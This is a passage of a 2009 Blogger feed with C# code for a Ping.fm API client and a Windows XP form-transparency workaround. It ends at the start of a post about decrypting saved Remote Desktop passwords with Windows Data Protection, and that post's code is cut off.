class="kwrd"&gt;return&lt;/span&gt; xs.Deserialize(reader);&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;            {&lt;br /&gt;                System.Diagnostics.Debug.WriteLine(ex.Message);&lt;br /&gt;                DeserializeException = ex;&lt;br /&gt;                &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;null&lt;/span&gt;;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="preproc"&gt;#endregion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; HttpWebRequest CreateHttpWebRequest(&lt;span class="kwrd"&gt;string&lt;/span&gt; url)&lt;br /&gt;        {&lt;br /&gt;            HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);&lt;br /&gt;            request.Headers.Add(&lt;span class="str"&gt;&amp;quot;Accept-Language&amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;en-us&amp;quot;&lt;/span&gt;);&lt;br /&gt;            request.Accept = &lt;span class="str"&gt;&amp;quot;text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&amp;quot;&lt;/span&gt;;&lt;br /&gt;            request.UserAgent = &lt;span class="str"&gt;&amp;quot;PingFM.dll &amp;quot;&lt;/span&gt; + Version.ToString(2);&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; request;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; GetWebResponse(&lt;span class="kwrd"&gt;string&lt;/span&gt; url, &lt;span class="kwrd"&gt;string&lt;/span&gt; PostData)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; html = &lt;span class="str"&gt;&amp;quot;&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                HttpWebRequest request = CreateHttpWebRequest(url);&lt;br /&gt;                request.Method = &lt;span class="str"&gt;&amp;quot;POST&amp;quot;&lt;/span&gt;;&lt;br /&gt;                request.ContentType = &lt;span class="str"&gt;&amp;quot;application/x-www-form-urlencoded&amp;quot;&lt;/span&gt;;&lt;br /&gt;                &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] b = Encoding.Default.GetBytes(PostData);&lt;br /&gt;                request.GetRequestStream().Write(b, 0, b.Length);&lt;br /&gt;                request.GetRequestStream().Close();&lt;br /&gt;                request.Timeout = 10000;&lt;br /&gt;                HttpWebResponse response = (HttpWebResponse)request.GetResponse();&lt;br /&gt;                StreamReader sr = &lt;span class="kwrd"&gt;new&lt;/span&gt; StreamReader(response.GetResponseStream());&lt;br /&gt;                sr.BaseStream.ReadTimeout = 10000;&lt;br /&gt;                html = sr.ReadToEnd();&lt;br /&gt;                sr.Close();&lt;br /&gt;                response.Close();&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;            {&lt;br /&gt;                WebException = ex;&lt;br /&gt;                System.Diagnostics.Debug.WriteLine(ex.Message);&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; html;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; PingResponse mLastResponse;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Gets the last PingResponse&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingResponse LastResponse { get { &lt;span class="kwrd"&gt;return&lt;/span&gt; mLastResponse; } }&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;If a web server error occurs, the exception will be stored here for reference.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; Exception WebException;&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;If an error occurs during deserialization, the exception will be stored here for reference.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; Exception DeserializeException;&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Clears the LastResponse, WebException, and DeserializeException&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; Reset()&lt;br /&gt;        {&lt;br /&gt;            mLastResponse = &lt;span class="kwrd"&gt;null&lt;/span&gt;;&lt;br /&gt;            WebException = &lt;span class="kwrd"&gt;null&lt;/span&gt;;&lt;br /&gt;            DeserializeException = &lt;span class="kwrd"&gt;null&lt;/span&gt;;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Validates the given user&amp;#8217;s application key.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingResponse Validate()&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; url = &lt;span class="str"&gt;&amp;quot;http://api.ping.fm/v1/user.validate&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; postdata = &lt;span class="str"&gt;&amp;quot;api_key={0}&amp;amp;user_app_key={1}&amp;quot;&lt;/span&gt;;&lt;br /&gt;            postdata = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Format(postdata, api_key, user_application_key);&lt;br /&gt;            System.Diagnostics.Debug.WriteLine(postdata);&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; response = GetWebResponse(url, postdata);&lt;br /&gt;            XmlReader xr = XmlReader.Create(&lt;span class="kwrd"&gt;new&lt;/span&gt; System.IO.StringReader(response));&lt;br /&gt;            PingResponse r = (PingResponse)DeserializeObject(xr, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(PingResponse));&lt;br /&gt;            xr.Close();&lt;br /&gt;            mLastResponse = r;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; r;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Returns a list of services the particular user has set up through Ping.fm.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; ServicesResponse GetServices()&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; url = &lt;span class="str"&gt;&amp;quot;http://api.ping.fm/v1/user.services&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; postdata = &lt;span class="str"&gt;&amp;quot;api_key={0}&amp;amp;user_app_key={1}&amp;quot;&lt;/span&gt;;&lt;br /&gt;            postdata = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Format(postdata, api_key, user_application_key);&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; response = GetWebResponse(url, postdata);&lt;br /&gt;            XmlReader xr = XmlReader.Create(&lt;span class="kwrd"&gt;new&lt;/span&gt; System.IO.StringReader(response));&lt;br /&gt;            ServicesResponse r = (ServicesResponse)DeserializeObject(xr, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(ServicesResponse));&lt;br /&gt;            xr.Close();&lt;br /&gt;            mLastResponse = r;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; r;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Validates the given user&amp;#8217;s application key.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; TriggerResponse GetTriggers()&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; url = &lt;span class="str"&gt;&amp;quot;http://api.ping.fm/v1/user.triggers&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; postdata = &lt;span class="str"&gt;&amp;quot;api_key={0}&amp;amp;user_app_key={1}&amp;quot;&lt;/span&gt;;&lt;br /&gt;            postdata = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Format(postdata, api_key, user_application_key);&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; response = GetWebResponse(url, postdata);&lt;br /&gt;            XmlReader xr = XmlReader.Create(&lt;span class="kwrd"&gt;new&lt;/span&gt; System.IO.StringReader(response));&lt;br /&gt;            TriggerResponse r = (TriggerResponse)DeserializeObject(xr, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(TriggerResponse));&lt;br /&gt;            xr.Close();&lt;br /&gt;            mLastResponse = r;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; r;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Returns the last 25 messages a user has posted through Ping.fm.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; LatestResponse GetLatest()&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; GetLatest(-1, &lt;span class="kwrd"&gt;null&lt;/span&gt;);&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Returns the last X messages a user has posted through Ping.fm.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;param name=&amp;quot;limit&amp;quot;&amp;gt;Number of messages to query&amp;lt;/param&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;param name=&amp;quot;order&amp;quot;&amp;gt;Order of results (ASC/DESC)&amp;lt;/param&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; LatestResponse GetLatest(&lt;span class="kwrd"&gt;int&lt;/span&gt; limit, &lt;span class="kwrd"&gt;string&lt;/span&gt; order)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; url = &lt;span class="str"&gt;&amp;quot;http://api.ping.fm/v1/user.latest&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; postdata = &lt;span class="str"&gt;&amp;quot;api_key={0}&amp;amp;user_app_key={1}&amp;quot;&lt;/span&gt;;&lt;br /&gt;            postdata = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Format(postdata, api_key, user_application_key);&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (limit &amp;gt; -1) postdata += &lt;span class="str"&gt;&amp;quot;&amp;amp;limit=&amp;quot;&lt;/span&gt; + limit.ToString();&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(order)) postdata += &lt;span class="str"&gt;&amp;quot;&amp;amp;order=&amp;quot;&lt;/span&gt; + order;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; response = GetWebResponse(url, postdata);&lt;br /&gt;            XmlReader xr = XmlReader.Create(&lt;span class="kwrd"&gt;new&lt;/span&gt; System.IO.StringReader(response));&lt;br /&gt;            LatestResponse r = (LatestResponse)DeserializeObject(xr, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(LatestResponse));&lt;br /&gt;            xr.Close();&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (r != &lt;span class="kwrd"&gt;null&lt;/span&gt;) r.DecodeMessages();&lt;br /&gt;            mLastResponse = r;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; r;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Returns data for the specified MessageID.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;param name=&amp;quot;MessageID&amp;quot;&amp;gt;MessageID to query&amp;lt;/param&amp;gt;&lt;/span&gt;&lt;br /&gt;        [Obsolete(&lt;span class="str"&gt;&amp;quot;Use user.latest to get a recent message history&amp;quot;&lt;/span&gt;, &lt;span class="kwrd"&gt;true&lt;/span&gt;)]&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; MessageResponse GetMessage(&lt;span class="kwrd"&gt;string&lt;/span&gt; MessageID)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; url = &lt;span class="str"&gt;&amp;quot;http://api.ping.fm/v1/user.message&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; postdata = &lt;span class="str"&gt;&amp;quot;api_key={0}&amp;amp;user_app_key={1}&amp;amp;message_id={2}&amp;quot;&lt;/span&gt;;&lt;br /&gt;            postdata = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Format(postdata, api_key, user_application_key, MessageID);&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; response = GetWebResponse(url, postdata);&lt;br /&gt;            XmlReader xr = XmlReader.Create(&lt;span class="kwrd"&gt;new&lt;/span&gt; System.IO.StringReader(response));&lt;br /&gt;            MessageResponse r = (MessageResponse)DeserializeObject(xr, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(MessageResponse));&lt;br /&gt;            xr.Close();&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (r != &lt;span class="kwrd"&gt;null&lt;/span&gt; &amp;amp;&amp;amp; r.Message != &lt;span class="kwrd"&gt;null&lt;/span&gt;) r.Message.Decode();&lt;br /&gt;            mLastResponse = r;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; r;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Posts a message to the user&amp;#8217;s Ping.fm services.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingResponse Post(&lt;span class="kwrd"&gt;string&lt;/span&gt; Body)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; Post(PostMethods.Default, &lt;span class="kwrd"&gt;null&lt;/span&gt;, Body, &lt;span class="kwrd"&gt;false&lt;/span&gt;);&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingResponse Post(PostMethods Method, &lt;span class="kwrd"&gt;string&lt;/span&gt; Body)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; Post(Method, &lt;span class="kwrd"&gt;null&lt;/span&gt;, Body, &lt;span class="kwrd"&gt;false&lt;/span&gt;);&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingResponse Post(PostMethods Method, &lt;span class="kwrd"&gt;string&lt;/span&gt; Title, &lt;span class="kwrd"&gt;string&lt;/span&gt; Body)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; Post(Method, Title, Body, &lt;span class="kwrd"&gt;false&lt;/span&gt;);&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingResponse Post(PostMethods Method, &lt;span class="kwrd"&gt;string&lt;/span&gt; Title, &lt;span class="kwrd"&gt;string&lt;/span&gt; Body, &lt;span class="kwrd"&gt;bool&lt;/span&gt; debug)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; url = &lt;span class="str"&gt;&amp;quot;http://api.ping.fm/v1/user.post&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; postdata = &lt;span class="str"&gt;&amp;quot;api_key={0}&amp;amp;user_app_key={1}&amp;amp;post_method={2}&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty((&lt;span class="kwrd"&gt;string&lt;/span&gt;)Method.ToString())) Method = PostMethods.Default;&lt;br /&gt;            postdata = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Format(postdata, api_key, user_application_key, (&lt;span class="kwrd"&gt;string&lt;/span&gt;)Method.ToString().ToLower());&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Title)) postdata += &lt;span class="str"&gt;&amp;quot;&amp;amp;title=&amp;quot;&lt;/span&gt; + UrlEncode(Title);&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Body)) postdata += &lt;span class="str"&gt;&amp;quot;&amp;amp;body=&amp;quot;&lt;/span&gt; + UrlEncode(Body);&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (debug) postdata += &lt;span class="str"&gt;&amp;quot;&amp;amp;debug=1&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; response = GetWebResponse(url, postdata);&lt;br /&gt;            XmlReader xr = XmlReader.Create(&lt;span class="kwrd"&gt;new&lt;/span&gt; System.IO.StringReader(response));&lt;br /&gt;            PingResponse r = (PingResponse)DeserializeObject(xr, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(PingResponse));&lt;br /&gt;            xr.Close();&lt;br /&gt;            mLastResponse = r;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; r;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;/// &amp;lt;summary&amp;gt;Posts a message to the user&amp;#8217;s Ping.fm services using one of their custom triggers.&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingResponse TPost(&lt;span class="kwrd"&gt;string&lt;/span&gt; Trigger, &lt;span class="kwrd"&gt;string&lt;/span&gt; Body)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; TPost(Trigger, &lt;span class="kwrd"&gt;null&lt;/span&gt;, Body, &lt;span class="kwrd"&gt;false&lt;/span&gt;);&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingResponse TPost(&lt;span class="kwrd"&gt;string&lt;/span&gt; Trigger, &lt;span class="kwrd"&gt;string&lt;/span&gt; Title, &lt;span class="kwrd"&gt;string&lt;/span&gt; Body)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; TPost(Trigger, Title, Body, &lt;span class="kwrd"&gt;false&lt;/span&gt;);&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; PingResponse TPost(&lt;span class="kwrd"&gt;string&lt;/span&gt; Trigger, &lt;span class="kwrd"&gt;string&lt;/span&gt; Title, &lt;span class="kwrd"&gt;string&lt;/span&gt; Body, &lt;span class="kwrd"&gt;bool&lt;/span&gt; debug)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; url = &lt;span class="str"&gt;&amp;quot;http://api.ping.fm/v1/user.tpost&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; postdata = &lt;span class="str"&gt;&amp;quot;api_key={0}&amp;amp;user_app_key={1}&amp;quot;&lt;/span&gt;;&lt;br /&gt;            postdata = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Format(postdata, api_key, user_application_key);&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Trigger)) postdata += &lt;span class="str"&gt;&amp;quot;&amp;amp;trigger=&amp;quot;&lt;/span&gt; + Trigger;&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Title)) postdata += &lt;span class="str"&gt;&amp;quot;&amp;amp;title=&amp;quot;&lt;/span&gt; + UrlEncode(Title);&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (!&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(Body)) postdata += &lt;span class="str"&gt;&amp;quot;&amp;amp;body=&amp;quot;&lt;/span&gt; + UrlEncode(Body);&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (debug) postdata += &lt;span class="str"&gt;&amp;quot;&amp;amp;debug=1&amp;quot;&lt;/span&gt;;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; response = GetWebResponse(url, postdata);&lt;br /&gt;            XmlReader xr = XmlReader.Create(&lt;span class="kwrd"&gt;new&lt;/span&gt; System.IO.StringReader(response));&lt;br /&gt;            PingResponse r = (PingResponse)DeserializeObject(xr, &lt;span class="kwrd"&gt;typeof&lt;/span&gt;(PingResponse));&lt;br /&gt;            xr.Close();&lt;br /&gt;            mLastResponse = r;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; r;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Base64Encode(&lt;span class="kwrd"&gt;string&lt;/span&gt; ToEncode)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (&lt;span class="kwrd"&gt;string&lt;/span&gt;.IsNullOrEmpty(ToEncode)) &lt;span class="kwrd"&gt;return&lt;/span&gt; ToEncode;&lt;br /&gt;            &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="rem"&gt;//this method is a little more work, but supports unicode.&lt;/span&gt;&lt;br /&gt;                &lt;span class="kwrd"&gt;char&lt;/span&gt;[] chars = ToEncode.ToCharArray();&lt;br /&gt;                &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] bytes = Encoding.UTF8.GetBytes(chars);&lt;br /&gt;                &lt;span class="kwrd"&gt;return&lt;/span&gt; Convert.ToBase64String(bytes);&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;catch&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;return&lt;/span&gt; ToEncode;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Base64Decode(&lt;span class="kwrd"&gt;string&lt;/span&gt; ToDecode)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;return&lt;/span&gt; Encoding.Default.GetString(Convert.FromBase64String(ToDecode));&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;catch&lt;/span&gt; { &lt;span class="kwrd"&gt;return&lt;/span&gt; ToDecode; }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; UrlEncode(&lt;span class="kwrd"&gt;string&lt;/span&gt; text)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; System.Web.HttpUtility.UrlEncode(text, Encoding.Default);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;I also had a problem when running this on XP. &lt;br /&gt;The Form.TransparencyKey did not work since I used a custom irregular shape form.. &lt;br /&gt;Here's the workaround. &lt;br /&gt;&lt;pre class="csharpcode"&gt;&lt;span class="preproc"&gt;#region&lt;/span&gt; XP TranparencyKey Workaround&lt;br /&gt;{&lt;br /&gt;    Bitmap bg = &lt;span class="kwrd"&gt;new&lt;/span&gt; Bitmap(Properties.Resources.bg1);&lt;br /&gt;    Color transparentcolor = bg.GetPixel(0, 0);&lt;br /&gt;    bg.MakeTransparent(transparentcolor);&lt;br /&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;this&lt;/span&gt;.BackgroundImage = bg;&lt;br /&gt;}&lt;br /&gt;&lt;span class="preproc"&gt;#endregion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;this&lt;/span&gt;.BackColor = System.Drawing.Color.Magenta;&lt;br /&gt;&lt;span class="kwrd"&gt;this&lt;/span&gt;.TransparencyKey = &lt;span class="kwrd"&gt;this&lt;/span&gt;.BackColor;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-6052931412702986304?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/6052931412702986304/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=6052931412702986304' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6052931412702986304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6052931412702986304'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/04/pingfm-thingie.html' title='Ping.fm Thingie'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_kFNcLq9qQIg/Sd_3j8IicHI/AAAAAAAAAvk/PHBoPRctpv0/s72-c/ping.fm%20thingie_thumb%5B7%5D.gif?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-263743658460736776</id><published>2009-04-05T10:54:00.001+08:00</published><updated>2009-04-05T11:06:15.992+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='research'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='Multi Remote Desktop Client .NET'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Encrypt/Decrypt RDP Password</title><content type='html'>&lt;p&gt;April 2, 2009 .. I finally Decrypted the RDP hashed password using &lt;a href="http://msdn.microsoft.com/en-us/library/aa302402.aspx"&gt;Data Protection&lt;/a&gt; but some little modification and a little help from &lt;a href="http://www.remkoweijnen.nl/blog/2008/03/02/how-rdp-passwords-are-encrypted-2/#comment-946"&gt;Remko Weijnen&lt;/a&gt;.&amp;#160; I have made a a sample tool &lt;a href="http://download.codeplex.com/Project/Download/FileDownload.aspx?ProjectName=MultiRDPC&amp;amp;DownloadId=64237&amp;amp;FileTime=128832735624130000&amp;amp;Build=14806#ReleaseFiles"&gt;RDPPassword_EncryptDecrypt.zip&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_kFNcLq9qQIg/SdgdeOgKiaI/AAAAAAAAAvY/BldG2j2-1os/s1600-h/image%5B4%5D.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="image" src="http://lh3.ggpht.com/_kFNcLq9qQIg/SdgdfGPicRI/AAAAAAAAAvc/2bMZ9qP9jiA/image_thumb%5B2%5D.png?imgmax=800" width="345" height="318" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here's the full source with a little modification&lt;/p&gt;&lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * Building Secure ASP.NET Applications: Authentication, Authorization, and Secure Communication&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * http://msdn.microsoft.com/en-us/library/aa302402.aspx#secnetht07_topic4&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * --- March 12, 2009 10:51 am&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * 